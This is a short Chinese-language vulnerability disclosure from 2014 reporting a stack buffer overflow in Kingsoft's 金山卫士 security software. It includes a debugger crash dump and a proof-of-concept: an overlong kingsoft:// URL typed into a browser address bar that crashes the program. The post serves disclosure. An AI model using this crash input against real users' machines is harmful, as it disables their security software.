金山卫士一处栈溢出

发布时间：2014-04-28 12:21:59作者：知识屋

金山卫士一处栈溢出（可以拒绝服务攻击）

详细说明：

金山卫士一处栈溢出漏洞

STATUS_STACK_BUFFER_OVERRUN encountered

(1c50.1f10): Break instruction exception - code 80000003 (first chance)

*** ERROR: Symbol file could not be found.  Defaulted to export symbols for D:program files (x86)ksafesoftmain.exe - 

eax=00000000 ebx=00581728 ecx=76b00174 edx=0018cb8d esi=00000000 edi=00000000

eip=76afff55 esp=0018cdd4 ebp=0018ce50 iopl=0         nv up ei pl zr na pe nc

cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246

kernel32!GetProfileStringW+0x12a09:

76afff55 cc              int     3

问题处在这里

kernel32!GetProfileStringW+0x12a09

这个函数出错了

漏洞证明：

地址栏内先输入：

kingsoft://02131516

然后输入：

kingsoft://02131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656021315165163056161065106560213151651630561610651065602131516516305616106510656vv021315165163056161065106560213151651630561610651065602131516516305616106510656vv02131516516305616106510656